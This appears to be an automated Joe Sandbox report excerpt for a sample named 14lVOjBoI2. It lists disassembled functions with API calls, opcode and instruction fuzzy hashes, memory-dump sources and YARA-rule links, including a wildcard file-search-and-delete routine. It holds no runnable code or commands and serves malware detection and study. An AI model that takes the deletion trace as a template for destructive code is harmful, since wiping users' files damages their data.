Opcode Fuzzy Hash: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00405846 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,76F93420,00441800,0043F000), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,76F93420,00441800,0043F000), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,76F93420,00441800,0043F000), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,76F93420,00441800,0043F000), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,76F93420,00441800,0043F000), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000005.00000002.2643392985.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2643377365.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643408809.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643427234.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2643593639.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 38DCAFF8 Relevance: 13.0, Strings: 10, Instructions: 461COMMON

Download Yara Rule

Strings

0o#p, xrefs: 38DCB147
Lj#p, xrefs: 38DCB4AE
Lj#p, xrefs: 38DCB5A6
", xrefs: 38DCB7CE
Lj#p, xrefs: 38DCB3B9
Lj#p, xrefs: 38DCB498
Lj#p, xrefs: 38DCB2AB
Lj#p, xrefs: 38DCB3A3
Lj#p, xrefs: 38DCB590
Lj#p, xrefs: 38DCB2C1

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: "$0o#p$Lj#p$Lj#p$Lj#p$Lj#p$Lj#p$Lj#p$Lj#p$Lj#p
API String ID: 0-2492165561
Opcode ID: 0b52e799f045513ed1ecc3ec7b5d0f78c818aed4900635ea92699b9b6491a9d4
Instruction ID: d298ec634d409699ad8d1e03823fab61950e81b3877382cb886b81f0894929dd
Opcode Fuzzy Hash: 0b52e799f045513ed1ecc3ec7b5d0f78c818aed4900635ea92699b9b6491a9d4
Instruction Fuzzy Hash: 1A328074E40218CFEB64CFA5C994B9DBBB2BF89304F1081A9D409AB361DB759E85CF14

Function 38D7DEE1 Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

09,, xrefs: 38D7DEE9

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID: 09,
API String ID: 0-2271119012
Opcode ID: 5efdff4c7882d3242b11d43716afdae9a54cacee70e5daa4e9f1da3eda62f612
Instruction ID: ee025ab610adc0295ac7e06e2c9c9542c4b9f7297da0f351934e853e05eeda05
Opcode Fuzzy Hash: 5efdff4c7882d3242b11d43716afdae9a54cacee70e5daa4e9f1da3eda62f612
Instruction Fuzzy Hash: 27C19174E00218CFDB14DFA9C994B9DBBB2AF89341F6080A9E409AB355DB359E81CF10

Function 38DC7B4F Relevance: .6, Instructions: 620COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a069282d4bc08febd33f324eee47f858a3ade742d8425e47e7f335328e31bc78
Instruction ID: 9e40d636c4ed3c283c326177fd940b0c16d06f853d6fcd87a001dfaec0b3ba13
Opcode Fuzzy Hash: a069282d4bc08febd33f324eee47f858a3ade742d8425e47e7f335328e31bc78
Instruction Fuzzy Hash: 3C629D74E01268CFDB68DF69C884BDDBBB2BB89301F1085EAD409A7255DB359E81CF50

Function 38D7B07F Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0927cd9118fd1217984cb228ec1ce6681675bfea6f0d26d244a844bc166a6bf
Instruction ID: cc61ad64c4ce2c142eed78b32af39da660809f76f74800f48f8b241f7939a823
Opcode Fuzzy Hash: a0927cd9118fd1217984cb228ec1ce6681675bfea6f0d26d244a844bc166a6bf
Instruction Fuzzy Hash: B5C1A274E01218CFDB14DFA9D994B9DBBB2BF89345F2080A9E409AB355DB359E81CF10

Function 38D7B930 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bdae355d0eb22541931191dcc12d5e98a80bd40318ae147e215e3d15c6c14a4
Instruction ID: 7fb9ce66a32ee9a84ecee54aff6f9699a5a4dc9d168835ebba112ea31a6f2433
Opcode Fuzzy Hash: 2bdae355d0eb22541931191dcc12d5e98a80bd40318ae147e215e3d15c6c14a4
Instruction Fuzzy Hash: 4FC1A174E00218CFDB14DFA9C994B9DBBB2BF89301F2080A9E409AB355DB359E85CF50

Function 38D7BD88 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf7afed82ffb172d21f513f633c486c4bc9605ed71f28689871d20376570473e
Instruction ID: 2b86f94053f76b7d9d49b8815d2eb2c3b573501d9623cca7e77986c0e176a881
Opcode Fuzzy Hash: cf7afed82ffb172d21f513f633c486c4bc9605ed71f28689871d20376570473e
Instruction Fuzzy Hash: 42C19174E00218CFDB14DFA9C994B9DBBB2BF89301F2081A9E409AB355DB359E85CF11

Function 38D7F044 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd2c41848fa16645ce2434247fc941f229e6ad1f24afadfaa0efbe85dbc5fa59
Instruction ID: fa4f6083af936be2c84386dcae57672aedbbecfa88e380215b886c3cfef84462
Opcode Fuzzy Hash: bd2c41848fa16645ce2434247fc941f229e6ad1f24afadfaa0efbe85dbc5fa59
Instruction Fuzzy Hash: 14C1A074E00218CFDB14DFA9D994B9DBBB2BF89341F6080A9E409BB355DB359A81CF11

Function 38D7DA89 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b229d37de59e18e7adfc45800398764abfb8a7b61e702d21cf581474fbfaa6d7
Instruction ID: 5423dcd8ab233230303db2674a1837ae750985e65ac94944abb1e6719065796c
Opcode Fuzzy Hash: b229d37de59e18e7adfc45800398764abfb8a7b61e702d21cf581474fbfaa6d7
Instruction Fuzzy Hash: B7C19174E00218CFDB14DFA9D994B9DBBB2BF89341F6081A9E409AB355DB359E81CF10

Function 38D7E339 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c6a7a7b424de48441f4f8d9fcbbd8a200ec90aa44f11fdcc684dfa62001eb88
Instruction ID: 936c548e980955c22b82b1ca9bd680ffe351b2a670bc826a0a0b14a1859a26be
Opcode Fuzzy Hash: 4c6a7a7b424de48441f4f8d9fcbbd8a200ec90aa44f11fdcc684dfa62001eb88
Instruction Fuzzy Hash: 58C1A074E00258CFDB14DFA9D994B9DBBB2BF89341F2081A9E409AB355DB359E81CF10

Function 38DC1858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd392413c5f26579438aebdd06f32abf2b3293e5dc2dc947360145de22309ce1
Instruction ID: a7ccc4aaaf28eac19ccbe763611cc52c79f21bfeb7372d6fd03386a759d639fa
Opcode Fuzzy Hash: bd392413c5f26579438aebdd06f32abf2b3293e5dc2dc947360145de22309ce1
Instruction Fuzzy Hash: F3C1A274E00218CFDB14DFA9C994B9DBBB2BF89341F6081A9E409AB355DB359E81CF10

Function 38DC7070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e6cd42724a82b2b504e9aa5d1d907457137e6d05372d1743ec94a45a1206db6
Instruction ID: e9b83efe3a8fa3ec5a26533ff42fdeeb763a5b0828c244e1ee6f18b61e7d4eaa
Opcode Fuzzy Hash: 6e6cd42724a82b2b504e9aa5d1d907457137e6d05372d1743ec94a45a1206db6
Instruction Fuzzy Hash: 21C1A174E00218CFDB14DFA9D994B9DBBB2BF89341F2081A9E409AB355DB359E81CF50

Function 38DC4820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ae427e2fe603327b848d172daa99b96a8376a512223d757903c479ead85abd1
Instruction ID: 81ad87cc7c3f1ad723cab1bfee8cdc371719042e20a56a3f682ee60ca74e6727
Opcode Fuzzy Hash: 1ae427e2fe603327b848d172daa99b96a8376a512223d757903c479ead85abd1
Instruction Fuzzy Hash: FBC19274E00218CFDB18DFA9D994B9DBBB2BF89341F1081A9D409AB355DB359E81CF10

Function 38DC29B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b6220a89fbf67146b231567ac829ec74762a6648b57b82fae8a403082114990
Instruction ID: ca85ea5c05f7e646fdc5ed8d22b754e00f14b9649dce7a0de7383d60bb278940
Opcode Fuzzy Hash: 5b6220a89fbf67146b231567ac829ec74762a6648b57b82fae8a403082114990
Instruction Fuzzy Hash: 87C19274E00218CFDB54DFA9D994B9DBBB2BF89341F2080A9D409AB365DB359E81CF50

Function 38DC2108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb102d60becc66409ff3ca6df0615e6d267dcadd211528c6539cef6903735fbe
Instruction ID: b0b07668150df7c56cd987f5da5c9cb0a38a601dbd84e91a44b4a61e35b1dff8
Opcode Fuzzy Hash: cb102d60becc66409ff3ca6df0615e6d267dcadd211528c6539cef6903735fbe
Instruction Fuzzy Hash: 38C19274E00218CFDB14DFA9D994B9DBBB2BF89341F5081A9D409AB355DB359E81CF10

Function 38DC5AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 790a4345ce774536d3c94182c2f746c3201b1a7122be3116c6b4108e3424076a
Instruction ID: 03d55dec4982e40080cebefe60f02e1fc9f893be8d4f42eb1a0570f31cd7c6aa
Opcode Fuzzy Hash: 790a4345ce774536d3c94182c2f746c3201b1a7122be3116c6b4108e3424076a
Instruction Fuzzy Hash: 63C19174E00218CFDB14DFA9D995B9DBBB2BF89301F6081A9E409AB355DB359E81CF10

Function 38DC3268 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e509054e78df2711ef24e16d1e8d3e77ad1adcf158b6e144b4797886f088db4
Instruction ID: 858877aa781785438552d52c690523cc81c2103891a6eb7cd9779e9a2ab71251
Opcode Fuzzy Hash: 3e509054e78df2711ef24e16d1e8d3e77ad1adcf158b6e144b4797886f088db4
Instruction Fuzzy Hash: F7C19174E00218CFDB18DFA9D994B9DBBB2BF89341F2081A9D409AB355DB359E85CF10

Function 38DC5208 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1bad9e8db0fa4561557a54c657a7ff0854071951d8a5cb028d5db30ba5b521
Instruction ID: d5358bffeb1853e777339a3871aea554ced94b394f3ebb314754ab6df99b8532
Opcode Fuzzy Hash: da1bad9e8db0fa4561557a54c657a7ff0854071951d8a5cb028d5db30ba5b521
Instruction Fuzzy Hash: B3C1A274E00218CFDB14DFA9D994B9DBBB2BF89341F6081A9E409AB355DB359E81CF10

Function 38DC43C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 903cfecab4f1337acaad2de88e7c8aab9f814ecf3ae8cafca93f6bb3d9f7732d
Instruction ID: f2f06fe5571824b10a198370cc2204c11c8384f102d79cd029fd1c20197ffe18
Opcode Fuzzy Hash: 903cfecab4f1337acaad2de88e7c8aab9f814ecf3ae8cafca93f6bb3d9f7732d
Instruction Fuzzy Hash: 8FC19174E00218CFDB14DFA9D994B9DBBB2BF89301F6081A9E409AB355DB359E81CF50

Function 38DC3B18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0cb3e0a967ce548adc02677448484cb218006919f0c9db512c70ce084ca604
Instruction ID: e5eca6b96b08fbaef5f33ad058f81a3dfd7882690e4c2a1955d1bae4958a1195
Opcode Fuzzy Hash: cf0cb3e0a967ce548adc02677448484cb218006919f0c9db512c70ce084ca604
Instruction Fuzzy Hash: B1C1A274E00218CFDB18DFA9D994B9DBBB2BF89301F1080A9D409AB355DB359E81CF10

Function 38DC74C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1cdb5d0430aee10f95e9c168b998ce9725e8bc777f4d689c06afa50b6c9da69
Instruction ID: 16d9a9122ae4dfa423e8ff60c171e1a3dd567800c5c9caf20a6cd18437ad8753
Opcode Fuzzy Hash: b1cdb5d0430aee10f95e9c168b998ce9725e8bc777f4d689c06afa50b6c9da69
Instruction Fuzzy Hash: 06C19274E00218CFDB14DFA9D994B9DBBB2BF89341F6080A9D409AB355DB359E81CF50

Function 38DC1CB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36baa3fe2cc17c2886babbef628a9478c456e0eaf8822ad93d6da1a04e8dc25e
Instruction ID: 62939d7e58efd9fab8848bc324c36dacd10b447cadeb274368c399fc73b9f385
Opcode Fuzzy Hash: 36baa3fe2cc17c2886babbef628a9478c456e0eaf8822ad93d6da1a04e8dc25e
Instruction Fuzzy Hash: D7C19174E00218CFDB14DFA9D994B9DBBB2BF89301F6081A9E409AB355DB359E81CF50

Function 38DC6C18 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b22f92ec34b039c87a52bff31f6816f55adae1ce567913e8a7bb0ae2b531f992
Instruction ID: 32d09cbb67ab0268654617d75eb2f1c508ea35d50070e40e6a1f002431233242
Opcode Fuzzy Hash: b22f92ec34b039c87a52bff31f6816f55adae1ce567913e8a7bb0ae2b531f992
Instruction Fuzzy Hash: D9C19174E00218CFDB14DFA9D994B9DBBB2BF89301F2080A9E409AB355DB359E81CF10

Function 38DC1400 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbc04ca134931d9dd557dc64e13925ec735d8090de6de10eb1b495e802835569
Instruction ID: ceff6b002e07867cde959b85aafa518ec46a987d4bd58f6b4e0ba19c032da0ba
Opcode Fuzzy Hash: cbc04ca134931d9dd557dc64e13925ec735d8090de6de10eb1b495e802835569
Instruction Fuzzy Hash: 5FC19174E00218CFDB14DFA9C994B9DBBB2BF89301F2080A9E409AB355DB359E81CF50

Function 38DC4DB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 410d64528c021c93e33bcf6ad36b0b84315d4ed9e68d6d1743d4054de7a95cb9
Instruction ID: a449c8be1c8d219788459bd1c02a864fc682349d309d002b73b08505b1da64b9
Opcode Fuzzy Hash: 410d64528c021c93e33bcf6ad36b0b84315d4ed9e68d6d1743d4054de7a95cb9
Instruction Fuzzy Hash: 01C1A274E00218CFEB14DFA9C994B9DBBB2BF89301F2081A9D409AB355DB359E85CF10

Function 38DC2560 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffc95fe0e2af7c78b2afe7c95d1e5ee1467c27fab0216289a1be3b9bdc728414
Instruction ID: 3345a128d23430048fd2efde5dd122c77e74e686ca681c059ab6ef7264e7a707
Opcode Fuzzy Hash: ffc95fe0e2af7c78b2afe7c95d1e5ee1467c27fab0216289a1be3b9bdc728414
Instruction Fuzzy Hash: 12C1A174E00218CFDB54DFA9D994B9DBBB2BF89301F6081A9D409AB365DB359E81CF10

Function 38DC36C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3ae9480fa7209fc55c94c3dfb28eff72f23395ca0e8ecd5aa53c6dd6152d7d4
Instruction ID: 7f333e0bf1de18858c9a5f04a9c848c74c31f2ccac6c769fa0e56ee944d6ca41
Opcode Fuzzy Hash: a3ae9480fa7209fc55c94c3dfb28eff72f23395ca0e8ecd5aa53c6dd6152d7d4
Instruction Fuzzy Hash: 25C1A174E00218CFDB18DFA9D994B9DBBB2BF89301F2080A9D409AB355DB359E85CF10

Function 38DC5660 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72aabd67c39110b64e9c0eddbdca4080db3694895c2a4efdc86da73f5bcde341
Instruction ID: 2f37e4f1bbdec4aea079d9f9463badf69407f3733f0a4c9f1a40988123b47fa4
Opcode Fuzzy Hash: 72aabd67c39110b64e9c0eddbdca4080db3694895c2a4efdc86da73f5bcde341
Instruction Fuzzy Hash: EBC1A174E00218CFDB18DFA9D994B9DBBB2BF89301F6081A9D409AB355DB359E81CF10

Function 38DC2E10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f43b4a1d4baf7b8320594c0ae01e0dce8f867cce25de485c88b54a0d9205c05
Instruction ID: cecab6350320cc3328f36218b110df24d94ae627b366ac5e883fa9ed7d70b987
Opcode Fuzzy Hash: 3f43b4a1d4baf7b8320594c0ae01e0dce8f867cce25de485c88b54a0d9205c05
Instruction Fuzzy Hash: 80C19074E00218CFDB18DFA9C994B9DBBB2BF89301F6081A9D409AB355DB359E85CF50

Function 38DC67C0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6a19413cdf5906b749388d2c8c20ede35cdbf79756031ccd5a66b28eaa973a3
Instruction ID: cc53abdddd970e4889cbbbb387df69f4cf55733d00fb779caad28fb8c1be29c7
Opcode Fuzzy Hash: d6a19413cdf5906b749388d2c8c20ede35cdbf79756031ccd5a66b28eaa973a3
Instruction Fuzzy Hash: FBC1A274E00218CFDB18DFA9D994B9DBBB2BF89301F2081A9D409AB355DB359E85CF10

Function 38DC0FA8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a1b0d3b24a7f9a204e322e341d9137d13e9ba9809abb088543aaace09c07e2
Instruction ID: a29015d498c6a100baaca295917cc863afb2b597f7c233b1428a07c1f6bffc6a
Opcode Fuzzy Hash: c9a1b0d3b24a7f9a204e322e341d9137d13e9ba9809abb088543aaace09c07e2
Instruction Fuzzy Hash: 1CC19174E00218CFDB14DFA9D994B9DBBB2BF89341F2081A9D409AB355DB359E81CF10

Function 38DC3F70 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facf2db0d8d66bde31e047e1a3cbed2109807335c2592490a8ff6a51dc23f53b
Instruction ID: d5c05304c4d857e0e3ceefba04a8ccf2fcd5ee78e16b97795715f97c28b4170d
Opcode Fuzzy Hash: facf2db0d8d66bde31e047e1a3cbed2109807335c2592490a8ff6a51dc23f53b
Instruction Fuzzy Hash: F9C1A174E00218CFDB18DFA9D994B9DBBB2BF89341F2081A9D409AB355DB359E81CF50

Function 38DC5F10 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672560105.0000000038DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38dc0000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9e8b9059ee264fa195bc8cdb29d9cdf8aede6f57de0d167baf16a547182dba2
Instruction ID: 08f5d84f85e76f4124c3b17de789869f327513383eee3bb32c9beb71fe26d5f6
Opcode Fuzzy Hash: a9e8b9059ee264fa195bc8cdb29d9cdf8aede6f57de0d167baf16a547182dba2
Instruction Fuzzy Hash: FAC19074E00218CFDB18DFA9D994B9DBBB2BF89341F6081A9D409AB355DB359E81CF10

Function 38D7C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2672360659.0000000038D70000.00000040.00000800.00020000.00000000.sdmp, Offset: 38D70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38d70000_14lVOjBoI2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61c576668be4fb16c9973ec8fc2255e1f8935d97e82e1306ab435c0a7dc962f7
Instruction ID: 3d0f96d2fb1f101132bb845591790d2a601a512de541eebd3c8f5ebe5e9d0fe4
Opcode Fuzzy Hash: 61c576668be4fb16c9973ec8fc2255e1f8935d97e82e1306ab435c0a7dc962f7
Instruction Fuzzy Hash: F4C19074E00218CFDB14DFA9D994B9DBBB2BF89301F6081A9E409AB355DB359E81CF10

